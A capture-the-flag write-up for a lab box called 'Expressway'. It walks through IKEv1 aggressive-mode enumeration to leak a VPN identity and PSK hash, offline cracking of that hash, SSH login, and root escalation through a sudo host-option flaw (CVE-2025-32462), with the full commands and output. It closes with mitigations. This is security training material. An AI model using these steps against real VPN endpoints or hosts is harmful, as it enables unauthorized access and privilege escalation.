Expressway Writeup

Published on January 19, 2026


Expressway Banner

I. About

Expressway is a box that focuses on the exploitation of IKEv1 weaknesses, PSK cracking, SSH pivoting and a sudo bypass leading to privesc.

II. Service Enumeration

Port Scan Results

Protocols Open Ports
TCP 22
UDP 68, 69, 500, 4500

TCP

I used nmap to scan the target for open TCP ports.

└─$ sudo nmap -sS -sV -sC 10.129.45.122 
[sudo] password for user: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 15:15 +0100
Nmap scan report for 10.129.45.122
Host is up (0.075s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • -sC: default script
  • -sV: to enumerate versions

UDP

I used nmap to scan the target for open UDP ports.

└─$ sudo nmap -sU -sV -sC 10.129.45.122   
[sudo] password for user: 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 14:27 +0100
Nmap scan report for 10.129.45.122
Host is up (0.024s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT     STATE         SERVICE   VERSION
68/udp   open|filtered dhcpc
69/udp   open          tftp      Netkit tftpd or atftpd
500/udp  open          isakmp?
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0
| fingerprint-strings: 
|   IKE_MAIN_MODE: 
|_    "3DUfwR`
4500/udp open|filtered nat-t-ike

III. Initial Access - Enabled IKEv1 aggressive mode leaking sensitive information leads to account takeover

SSH is rarely vulnerable as itself, so I focused on the identified IPsec entry point. ISAKMP (IKE) was exposed on port 500, which is responsible for negotiating and establishing secure site-to-site or remote access VPN tunnels.

At this step, I wanted to gather more information. With ike-scan, I sent a Main Mode ISAKMP packet with a transform proposal.

└─$ ike-scan -M 10.129.45.122
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.45.122   Main Mode Handshake returned
        HDR=(CKY-R=1d16be6b9a43f94a)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.028 seconds (35.29 hosts/sec).  1 returned handshake; 0 returned notify

I identified a valid transformation accepted by the responder. The output 1 returned handshake; 0 returned notify indicates that the target is configured for IPsec and is willing to perform an IKE negotiation, accepting one of the proposed transforms.

Based on the gathered information, several deductions can be made:

  • Enc=3DES Hash=SHA1 are considered weak.
  • Auth=PSK indicates that the VPN is configured to use a Pre-Shared Key, which is good for an attacker.
  • XAUTH and Dead Peer Detection are enabled

I then performed an Aggressive Mode scan to extract the VPN group name and PSK hash.

└─$ ike-scan -A -Ppsk_hash.txt 10.129.45.122 
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.45.122   Aggressive Mode Handshake returned HDR=(CKY-R=fadb53b50f5ffe26) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.030 seconds (33.29 hosts/sec).  1 returned handshake; 0 returned notify
  • -A: Aggressive Mode
  • -Ppsk_hash.txt: to extract PSK and store it in psh_hash.txt

The VPN user identity ike@expressway.htb was leaked. This information will be useful later for authenticating via SSH.

PSK hash has been stored in psk_hash.txt.

└─$ cat psk_hash.txt 
17a111000e0bac67346987dc8dd4f8d6ab392b50ad5b0612c7ee50d93ae698d9ff6fec893fe7e87ed55f67d477dcbbf341f8bf27267392081935b0c231abb2794505e1[...]ab1bc064af15c6b20c6d82fcb99e2462a

I cracked it with psk_crack by performing an offline dictionary attack and obtained the [Redacted] password.

└─$ psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt 
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key [Redacted] matches SHA1 hash c61f48dab1bc064af15c6b20c6d82fcb99e2462a
Ending psk-crack: 8045040 iterations in 8.923 seconds (901641.84 iterations/sec)

I then used both the username and password to authenticate through SSH and find the user flag.

└─$ ssh ike@10.129.45.122
ike@10.129.45.122's password: 
Last login: Mon Jan 19 10:40:28 GMT 2026 from 10.10.14.139 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 19 10:40:33 2026 from 10.10.14.139
      
ike@expressway:~$ cat user.txt
[Redacted]

ike@expressway:~$

IV. Privilege Escalation - CVE-2025-32463 sudo vulnerability exploited

I tried to list sudoers privileges for ike and noticed that the sudo error message was not usual.

ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password: 
Sorry, user ike may not run sudo on expressway.

I then checked sudo version and identified the version 1.9.17.

ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:~$ 

According to searchsploit, this version of sudo is vulnerable and can lead to privilege escalation.

└─$ searchsploit "sudo 1.9.17"
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Sudo 1.9.17 Host Option - Elevation of Privilege                                                                                                                                                          | linux/local/52354.txt
Sudo chroot 1.9.17 - Local Privilege Escalation                                                                                                                                                           | linux/local/52352.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

CVE-2025-32462: No exploit is required. Executing a sudo or sudoedit command with the host option referencing an unrelated remote host rule causes Sudo to treat the rule as valid for the local system. As a result, any command allowed by the remote host rule can be executed on the local machine.

I identified that ike was a member of the proxy group.

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

I found squid log files in /var/log/squid.

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ cat /var/log/squid/access.log.
access.log.1     access.log.2.gz  
ike@expressway:~$ ls -lai /var/log/squid/
total 28
17150 drwxr-xr-x  2 proxy proxy 4096 Sep 16 16:02 .
15497 drwxr-xr-x 12 root  root  4096 Jan 18 13:29 ..
17222 -rw-r-----  1 proxy proxy 4778 Jul 23 01:19 access.log.1
17195 -rw-r-----  1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
17207 -rw-r-----  1 proxy proxy 2192 Jul 23 01:47 cache.log.1
17151 -rw-r-----  1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz

The access.log.1 file contains a reference to a certain offramp.expressway.htb remote host.

ike@expressway:~$ cat /var/log/squid/access.log.1
[...]
1753229688.902      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
1753229689.010      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
[...]

If the user has high privileges on the remote host, it could be leveraged to obtain root access on expressway.htb.

ike@expressway:~$ sudo -h offramp.expressway.htb -i
root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root)
root@expressway:~# cat root.txt
[Redacted]
root@expressway:~# 

The exploit worked and I obtained root access on target.

V. Synthesis

Expressway State Diagram
Expressway State Diagram

VI. Mitigation

  • Improve the PSK strength.
  • Disable weak cryptographic suites for IKE negotiation.
  • Deactivate IKE aggressive mode or upgrade to IKEv2
  • Upgrade sudo version to 1.9.17p1 or later